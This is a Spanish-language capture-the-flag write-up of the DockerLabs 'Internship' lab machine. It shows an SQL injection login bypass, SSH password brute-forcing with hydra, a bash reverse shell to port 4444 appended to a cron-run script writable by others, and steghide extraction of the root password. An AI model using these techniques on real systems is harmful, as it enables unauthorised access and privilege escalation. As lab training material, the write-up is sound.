DockerLabs - Internship
nmap
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Internship]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Internship]
└─$ nmap -sCV -p22,80 172.17.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 35:ff:c4:8b:c4:e1:46:12:43:b9:03:a9:cf:ec:f3:0a (ECDSA)
|_ 256 23:ac:95:1e:be:33:9e:ed:14:f0:45:f6:27:51:ca:ba (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: GateKeeper HR | Tu Portal de Recursos Humanos
|_http-server-header: Apache/2.4.62 (Debian)
análisis
En la página principal del servidor web encontramos una aplicación relacionada con recursos humanos:
Tras intentar acceder, nos damos cuenta de que no es del todo funcional. Esto se debe a que hay recursos que se buscan en gatekeeperhr.com:
Por ello, tras agregar dicho dominio a nuestro fichero /etc/hosts y recargar la página, veremos que ya podemos ver el panel de login:
Nos daremos cuenta rápidamente de que podemos saltarnos este panel empleando un payload básico de SQL Injection como el siguiente:
1
' or 1=1-- -
Una vez dentro, veremos un listado de posibles usuarios del sistema:
En el código fuente de la página encontraremos una pista que nos indica que algunos de los usuarios pueden permitirnos acceder por SSH:
Buscamos con gobuster recursos del servidor web que nos den mas información de por donde continuar:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Internship/CVE-2024-6387]
└─$ gobuster dir -u "http://gatekeeperhr.com" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.txt,.html
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://gatekeeperhr.com
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about.html (Status: 200) [Size: 3339]
/index.html (Status: 200) [Size: 3971]
/spam (Status: 301) [Size: 319] [--> http://gatekeeperhr.com/spam/]
/css (Status: 301) [Size: 318] [--> http://gatekeeperhr.com/css/]
/includes (Status: 301) [Size: 323] [--> http://gatekeeperhr.com/includes/]
/js (Status: 301) [Size: 317] [--> http://gatekeeperhr.com/js/]
/default (Status: 301) [Size: 322] [--> http://gatekeeperhr.com/default/]
/lab (Status: 301) [Size: 318] [--> http://gatekeeperhr.com/lab/]
/contact.html (Status: 200) [Size: 3140]
/server-status (Status: 403) [Size: 281]
Progress: 882228 / 882228 (100.00%)
===============================================================
Finished
===============================================================
En el código fuente del recurso /spam, vemos la siguiente cadena en un comentario:
Tratamos de decodificarlo, y resulta que se había codificado la siguiente cadena con el método de encriptación ROT13 (el cual consiste en cambiar cada carácter por el carácter que está 13 posiciones más adelante):
Nos guardaremos los nombres de los usuario que vimos anteriormente en un listado, ya que será lo que empleemos para obtener el usuario de SSH al que pertenece la contraseña que hemos encontrado:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Internship]
└─$ cat usuarios.txt
ana
carlos
maria
juan
laura
pedro
sofia
diego
valentina
alejandro
acceso inicial (pedro)
Empleando hydra encontramos que la contraseña pertenece al usuario pedro:
1
2
3
4
5
6
7
8
9
10
11
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Internship]
└─$ hydra -L usuarios.txt -p ****** ssh://172.17.0.2 -t 64 -I
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-03 17:41:45
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:10/p:1), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: pedro password: ******
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-03 17:41:50
Tratamos de acceder, y concluimos que las credenciales son correctas:
1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Internship]
└─$ ssh pedro@172.17.0.2
pedro@172.17.0.2's password:
pedro@3bdad2818ad9:~$ whoami
pedro
pedro@3bdad2818ad9:~$ hostname -I
172.17.0.2
En la carpeta principal encontramos la siguiente flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pedro@3bdad2818ad9:~$ ls -la
total 24
drwxrwx--- 1 pedro pedro 4096 Feb 10 2025 .
drwxr-xr-x 1 root root 4096 Feb 10 2025 ..
-rw-r--r-- 1 pedro pedro 220 Mar 29 2024 .bash_logout
-rw-r--r-- 1 pedro pedro 3526 Mar 29 2024 .bashrc
-rw-r--r-- 1 pedro pedro 807 Mar 29 2024 .profile
-r-------- 1 pedro pedro 798 Feb 9 2025 fl4g.txt
pedro@3bdad2818ad9:~$ cat fl4g.txt
_
_ooOoo_
o8888888o
88" . "88
(| -_- |)
O\ = /O
____/`---'\____
.' \\| |// `.
/ \\||| : |||// \
/ _||||| -:- |||||_ \
| | \\\ - /'| | |
| \_| `\`---'// |_/ |
\ .-\__ `-. -'__/-. /
___`. .' /--.--\ `. .'___
."" '< `.___\_<|>_/___.' _> \"".
| | : `- \`. ;`. _/; .'/ / .' ; |
\ \ `-. \_\_`. _.'_/_/ -' _.' /
===========`-.`___`-.__\ \___ /__.-'_.'_.-'================
`=--=-'
~ Sigue asi ~
movimiento lateral (valentina)
Los usuarios a los cuales podemos apuntar (ya que son los que nos permitirían loguearnos) son los siguientes:
1
2
3
4
pedro@3bdad2818ad9:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
pedro:x:1000:1000::/home/pedro:/bin/bash
valentina:x:1001:1001::/home/valentina:/bin/bash
Tras buscar en varias carpetas, encontramos que en /opt hay un fichero que pertenece a la usuaria valentina, el cual tenemos permisos para modificar:
1
2
3
4
5
pedro@3bdad2818ad9:/home$ ls -la /opt
total 12
drwxr-xr-x 1 root root 4096 Feb 10 2025 .
drwxr-xr-x 1 root root 4096 Nov 3 17:11 ..
-rwxrw-rw- 1 valentina valentina 30 Feb 9 2025 log_cleaner.sh
El contenido de script es el siguiente:
1
2
3
pedro@3bdad2818ad9:/home$ cat /opt/log_cleaner.sh
#!/bin/bash
rm -rf /var/log/*
Dado que parece que se está empleando en una tarea que se ejecuta a intervalos regulares de tiempo (cron jobs), agregamos una instrucción al final del script que nos devolverá una consola como la usuaria valentina cuando se ejecute:
1
2
3
4
5
pedro@3bdad2818ad9:/home$ cat /opt/log_cleaner.sh
#!/bin/bash
rm -rf /var/log/*
bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
Veremos que pasados unos segundos, habremos obtenido una consola como la usuaria valentina:
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Internship]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 49812
valentina@3bdad2818ad9:~$ whoami
whoami
valentina
valentina@3bdad2818ad9:~$ hostname -I
hostname -I
172.17.0.2
Procedemos a tratar la tty para tener una consola completamente funcional:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
valentina@3bdad2818ad9:~$ script -c bash /dev/null
script -c bash /dev/null
Script started, output log file is '/dev/null'.
valentina@3bdad2818ad9:~$ ^Z
zsh: suspended nc -nlvp 4444
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Internship]
└─$ stty raw -echo;fg
[1] + continued nc -nlvp 4444
reset xterm
valentina@3bdad2818ad9:~$ export TERM=xterm
valentina@3bdad2818ad9:~$ export SHELL=bash
valentina@3bdad2818ad9:~$ stty rows 48 columns 210
escalada de privilegios (root)
En el directorio de la usuaria vemos otra flag, y una imagen, la cual nos traemos a nuestra máquina para analizarla:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
valentina@3bdad2818ad9:~$ ls -la
total 76
drwxrwx--- 1 valentina valentina 4096 Nov 3 17:56 .
drwxr-xr-x 1 root root 4096 Feb 10 2025 ..
-rw-r--r-- 1 valentina valentina 220 Mar 29 2024 .bash_logout
-rw-r--r-- 1 valentina valentina 3526 Mar 29 2024 .bashrc
drwxr-xr-x 3 valentina valentina 4096 Nov 3 17:56 .local
-rw-r--r-- 1 valentina valentina 807 Mar 29 2024 .profile
-r-------- 1 valentina valentina 636 Feb 9 2025 fl4g.txt
-r-------- 1 valentina valentina 44990 Feb 9 2025 profile_picture.jpeg
valentina@3bdad2818ad9:~$ cat fl4g.txt
______
'-._ ```"""---.._
,-----.:___ `\ ,;;;,
'-.._ ```"""--.._ |,%%%%%% _
, '. `\;;;; -\ _ _.'/\
.' `-.__ \ ,;;;;" .__{=====/_)==:_ ||
,===/ ```";,,,,,,,;;;;;'`-./.____,'/ / '.\/
'---/ ';;;;;;;;' `--.._.' /
,===/ '-. `\/
'---/ ,'`. |
; __.-' \ ,'
jgs \______,,.....------'''`` `---`
~ Ahora, a por la escalada de privilegios ~
En este caso, he optado por pasarla a base64, pegarla en un fichero, y decodificarla, pero se podría haber empleado otros métodos como netcat o scp:
1
2
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Internship]
└─$ cat test.txt | base64 -d > test.jpg
Al abrirla, vemos que se trata de un meme:
Analizándola con exiftool no nos da ninguna información útil:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Internship]
└─$ exiftool test.jpg
ExifTool Version Number : 13.25
File Name : test.jpg
Directory : .
File Size : 45 kB
File Modification Date/Time : 2025:11:03 18:02:14+00:00
File Access Date/Time : 2025:11:03 18:02:25+00:00
File Inode Change Date/Time : 2025:11:03 18:02:14+00:00
File Permissions : -rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Width : 400
Image Height : 400
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 400x400
Megapixels : 0.160
Pero al abrirla con steghide en busca de ficheros guardados dentro de la foto, vemos que (sin aportar contraseña), logramos extraer un fichero:
1
2
3
4
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Internship]
└─$ steghide extract -sf test.jpg
Enter passphrase:
wrote extracted data to "secret.txt".
El contenido de dicho fichero es el siguiente:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Internship]
└─$ cat secret.txt
m*****
Comprobamos a ver si se trata de la contraseña del usuario root de la máquina, y vemos que es así:
1
2
3
4
5
6
valentina@3bdad2818ad9:~$ sudo su
[sudo] password for valentina:
root@3bdad2818ad9:/home/valentina# whoamio
bash: whoamio: command not found
root@3bdad2818ad9:/home/valentina# whoami
root
Y así, nos habremos convertido en root en el laboratorio!








